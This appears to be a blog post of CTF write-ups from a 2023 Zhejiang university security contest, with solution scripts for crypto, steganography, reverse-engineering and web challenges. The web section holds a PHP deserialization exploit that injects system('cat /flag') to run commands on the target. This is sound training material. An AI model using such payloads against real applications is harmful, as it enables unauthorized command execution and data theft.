2023浙江省大学生信息安全竞赛技能赛初赛 部分wp
  9Z6NxVeoojK3 2023年11月07日 53 0

CRYPTO

小小数学家

1、题目信息

查看代码
19+49=?
96-31=?
86-3=?
20+47=?
29+55=?
35+35=?
81+42=?
73-16=?
52+48=?
0+56=?
55-6=?
69-20=?
99-48=?
100-52=?
36+13=?
32+13=?
84-34=?
90-34=?
94-45=?
85+13=?
50-5=?
55-3=?
77+25=?
87-35=?
62+35=?
88-43=?
86-30=?
90+10=?
66-17=?
34+63=?
51-6=?
22+76=?
46+5=?
45+11=?
20+78=?
56+45=?
99/1=?
47+52=?
58+44=?
76-26=?
92-42=?
12+44=?
80-27=?
5*25=?

2、解题方法

这种一看就是计算结果然后结果ASCII组成flag,可以试一下第一个,结果68,对应ASCII正好是D,因此想法正确

exp:

results = []

# 计算每个算式的结果
expressions = [
    "19+49",
    "96-31",
    "86-3",
    "20+47",
    "29+55",
    "35+35",
    "81+42",
    "73-16",
    "52+48",
    "0+56",
    "55-6",
    "69-20",
    "99-48",
    "100-52",
    "36+13",
    "32+13",
    "84-34",
    "90-34",
    "94-45",
    "85+13",
    "50-5",
    "55-3",
    "77+25",
    "87-35",
    "62+35",
    "88-43",
    "86-30",
    "90+10",
    "66-17",
    "34+63",
    "51-6",
    "22+76",
    "46+5",
    "45+11",
    "20+78",
    "56+45",
    "99/1",
    "47+52",
    "58+44",
    "76-26",
    "92-42",
    "12+44",
    "80-27",
    "5*25"
]

for expr in expressions:
    result = eval(expr) # 计算算式结果
    results.append(result) # 将结果添加到结果列表中
print(results)

# 输入的整数列表
numbers = [68, 65, 83, 67, 84, 70, 123, 57, 100, 56, 49, 49, 51, 48, 49, 45, 50, 56, 49, 98, 45, 52, 102, 52, 97, 45, 56, 100, 49, 97, 45, 98, 51, 56, 98, 101, 99.0, 99, 102, 50, 50, 56, 53, 125]

# 将每个数字转换为ASCII字符
ascii_list = [chr(int(num)) for num in numbers]

# 输出ASCII字符列表
print(ascii_list)
#['D', 'A', 'S', 'C', 'T', 'F', '{', '9', 'd', '8', '1', '1', '3', '0', '1', '-', '2', '8', '1', 'b', '-', '4', 'f', '4', 'a', '-', '8', 'd', '1', 'a', '-', 'b', '3', '8', 'b', 'e', 'c', 'c', 'f', '2', '2', '8', '5', '}']

list = ['D', 'A', 'S', 'C', 'T', 'F', '{', '9', 'd', '8', '1', '1', '3', '0', '1', '-', '2', '8', '1', 'b', '-', '4', 'f', '4', 'a', '-', '8', 'd', '1', 'a', '-', 'b', '3', '8', 'b', 'e', 'c', 'c', 'f', '2', '2', '8', '5', '}']
flag = ''.join(list)
print(flag)
#DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285}

基础数论

1、附件信息

from secret import x,y
from hashlib import md5
from sympy import isprime,nextprime
p = x**2 + y**2
assert isprime(p) and x*y > 0
print(p)
flag = 'DASCTF{'+md5(str(x+y).encode()).hexdigest()+"}"

#173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121

2、解题方法

根据代码部分可知也就是求:p2 + q2 =n

利用sage里方法two_squares来求解。

参考:https://wstein.org/edu/2007/spring/ent/ent-html/node75.html

exp:

#sage#
import hashlib
from hashlib import md5

p = 173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121
x,y = (two_squares(p))
print(x,y)
flag = 'DASCTF{'+md5(str(x+y).encode()).hexdigest()+"}"
print(flag)
#2124080185874205807105261594884049506071023711463225511583343733907861918114771262515207146329816119356450361177578637163739714518747645791197729692842795 12987160767716970127272498846249389966243604043045970877384806399031879779694511338759174534221141662365315103597141408214751747758739021312936535825747936
#DASCTF{8ef20a4873c5ec776dd34bf5f0eb56cf}

EC_Party-III

1、附件信息

查看代码
 import os
import random
from Crypto.Util.number import *
from secret import flag


assert flag[:7]==b'DASCTF{' and flag[-1:]==b'}'
flag = flag[7:-1]
m = bytes_to_long(flag)

def magic_rsa(m):
    p = getPrime(384)
    q = getPrime(384)
    Fp = GF(p)
    Fq = GF(q)
    n = p*q
    d = getPrime(80)
    a = random.randint(0, p-1)
    b = random.randint(0, p-1)
    
    Ep = EllipticCurve(Zmod(p), [a, b])
    Eq = EllipticCurve(Zmod(q), [a, b])
    En = EllipticCurve(Zmod(n), [a, b])
    ord_p = Ep.order()
    ord_q = Eq.order()
    e = inverse_mod(d, ord_p*ord_q)

    xm = bytes_to_long(m+os.urandom(16))
    while True:
        try:
            Gp = Ep.lift_x(Fp(xm))
            Gq = Eq.lift_x(Fq(xm))
            ym = crt([int(Gp.xy()[1]),int(Gq.xy()[1])],[p,q])
            break
        except :
            xm += 1
            continue
           
    M = En((xm,ym))
    C = e*M
    pk = [a, b, n, e, C.xy()]
    return pk

print(magic_rsa(flag))
"""
[10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]
"""

2、解题方法

一开始看咦?这不是做过的题吗。。。真不错。

题目来源:题目来源:“华为杯”第二届中国研究生网络安全创新大赛

但后来发现还是不一样的,同样思路解不出来,找不到泄漏值。因为本题给了低指数d,而上述题目给的是低指数e,因此换思路:

低解密指数类型,连分数直接梭,先破d

exp:

#sage#
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]

a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)

c = continued_fraction((e/n))

for i in range(200):
    d,k = (c.denominator(i),c.numerator(i))
    print(d)
    if C*(e*d-1) == O and d != 1:
        print(d)
        break

得到 d = 861078593737268627868079

最后求m

#sage#
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]

a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)

d = 861078593737268627868079
m = C*d
m = m[0]
print(m)
#11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
import libnum
m = 11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
print(libnum.n2s(int(m)))
#Wi3ner_4ttac6_s0_m4gic

An EaSy Cipher

属于aes cbc zerepadding 6位密码爆破

exp:

import base64
from Crypto.Cipher import AES
import libnum

def zeropadding(password):
    password = password + b"\x00"*(16 - len(password) % 16)
    return password

def pkcs7padding(password):
    l = 16 - (len(password) % 16)
    password = password + (chr(l).encode())*(16 - len(password) % 16)
    return password

line = open("superdic.txt","rb").readlines()
for i in line:
    password = zeropadding(i[:-2])
    text = base64.b64decode("Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08")
    aes = AES.new(password,AES.MODE_ECB)
    den_text = aes.decrypt(text)
    if(b"flag" in den_text or b"DASCTF" in den_text):
        print(den_text)
        print(password)

MISC

Number game

签到题没啥说的,这种题按道理应该是WEB签到题,不知道为啥放到MISC了。。。哎!

连接后ctrl + u查看源代码发现只有个js文件,点进去找关键代码 function_roll()这一部分,代码复制一下放到控制台,然后把if()里判断条件改为true,再次点击roll,就会弹出flag了。。。

EZ_misc

1、附件信息

 2、解题方法

送分题。。。

扔到010从文件头开始看发现是一张jpg图片,但每两位16进制是反的,好好好,看我魔力大旋转,翻转即可。

exp:

f = open("yuanshen", "rb")
data = f.read()
fzip = open("yuanshen.jpg", "wb")
s = b""

for i in data:
    tmp = int(("%02x" % i)[::-1], 16)

    s += bytes([tmp])
    # print(tmp.to_bytes(1, 'little'))

fzip.write(s)

jpg隐写,试了几个工具发现是steghide无密码类型进行解密:

steghide extract -sf yuanshen.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

打开txt文本:

DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDASHDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DASHDASHDOTDOTDOT DASHDASHDOTDOTDOT DASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DASHDASHDASHDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOT

这个就有一点小脑洞了,找下规律发现里面只有 DASH 和 DOT,想到摩斯密码,把DASH换成 - DOT换成 .

-.... -.... -.... -.-. -.... .---- -.... --... --... -... -.... ....- -.... -.... ...-- ....- -.... -.... ...-- -.... ...-- ...-- ...-- ..... -.... .---- -.... ..--- ...-- ...-- ...-- ....- ...-- ..--- -.... .---- ...-- ..... -.... ..--- ...-- ...-- -.... ..--- -.... ..--- ...-- ---.. ...-- ..... ...-- ..... -.... .---- ...-- ....- ...-- -.... ...-- ....- -.... ....- ...-- --... -.... ..--- -.... ..--- ...-- ....- -.... ..... -.... ...-- --... -..

摩斯解码 + HEX解码:

Steins_Gate(这个题有东西,有难度的)

1、附件信息

2、解题方法

一张png图片,这个很有意思哈哈,图片放大是一堆“嘟嘟噜”文字

仔细观察发现这些文字基本上是RGB这种颜色,根据经验猜测一下这应该是把原图的每个像素点替换成了一个文字。

简单地测量一下发现每个文字所在的正方形区域大小大概为16 * 16。

由于小正方形区域是大致,因此可以尝试读取其中16*16正方形的像素,我们会发现由于图片压缩导致部分文字像素有稍微变动。

同时发现整张背景图片像素为(211, 211, 211)

exp:

from PIL import Image
img = Image.open('Steins_Gate.png')
pix = img.load()
for x in range(0,16):
    for y in range(0,16):
        r, g, b = pix[x, y]
        print(r,g,b)

接下来我们把这些16*16小方格的像素频率统计起来并进行排序,考虑到有可能原像素频率可能有大于背景211频率的,因此进行过滤一下。

exp:

from PIL import Image

img = Image.open('Steins_Gate.png')

pix = img.load()
width = img.size[0]
height = img.size[1]
img1 = Image.new("RGB", (int(width / 16), int(height / 16)))

for i in range(0, width, 16):
    for j in range(0, height, 16):
        dic = {}
        for x in range(i, i + 16):
            for y in range(j, j + 16):
                r, g, b = pix[x, y]
                if (r, g, b) in dic:
                    dic[(r, g, b)] += 1
                else:
                    dic[(r, g, b)] = 1
        sorted_dict = sorted(dic.items(), key=lambda x: x[1], reverse=True)
        if sorted_dict[0][0]!=(211, 211, 211):
            print(sorted_dict)
            img1.putpixel((int(i / 16), int(j / 16)), sorted_dict[0][0])
        else:
            img1.putpixel((int(i / 16), int(j / 16)), sorted_dict[1][0])
img1.show()
img1.save("output.png")

 

由此恢复出原图片。。StegSolve发现原图零通道不对劲。

查看0通道发现大量base64,提取出来。

 

保存文件后放到010

但我们很清晰发现每部分base64后面总会有一点没用的数据

我们写个脚本把这些数据过滤掉

exp:

with open('flag.bin','rb')as f:
    with open('flag.txt','wb') as ff:
        data=f.read()
        for i in range(0,len(data),252):
            ff.write(data[i:i+240])
            ff.write(b'\n')

把最终得到的数据放到Cyber进行base64解码

不难看出又是一张图片。。。。真无语,这么会套娃!!

把图片保存下来得到:

 

估计又是个jpg隐写,但试了好多不需要密码的jpg隐写工具发现解不了,感觉跟密码有关,但密码在哪里?

看看我们提取出来的base64大量数据,大胆猜测是base64隐写。试一下看是不是

B神工具直接梭得到密码:

DuDuLu~T0_Ch3@t_THe_w0r1d

哈哈还真是64隐写,好好好。然后我们试试需要密码的隐写工具,经尝试发现是outguess

WEB

Easy php

exp:

<?php

class AAA{
    public $cmd;
}
class BBB{
    public $param1;
}
class CCC{
    public $func;
}

$b = new BBB();
$a = new AAA();
$c = new CCC();
$b->param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');";

echo urlencode(serialize($b));

RE

pyccc

直接还原得py脚本:

a = input('please input your flag:\n')
check = [102,109,99,100,127,52,114,88,97,122,85,125,105,127,119,80,120,112,98,39,109,52,55,106]
flag = ''
for idx, x in enumerate(check):
flag += chr(idx ^ x)
print(flag)

然后随便输入上面数组任意数字得flag

please input your flag:
99
flag{1t_is_very_hap4y!!}

ezapk

反编译APK

放到Cyber解码

 

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   2024年05月17日   21   0   0 网络安全
  pTtIhLb24H2d   2024年05月17日   30   0   0 网络安全
  OKgNPeBk991j   2024年05月18日   40   0   0 网络安全
  rKgO6TN7xbYO   2024年05月17日   34   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   35   0   0 网络安全
  5NWiQFAVeqgX   2024年05月17日   27   0   0 网络安全
  owpmXY9hzjPv   29天前   29   0   0 网络安全
  owpmXY9hzjPv   29天前   30   0   0 网络安全
9Z6NxVeoojK3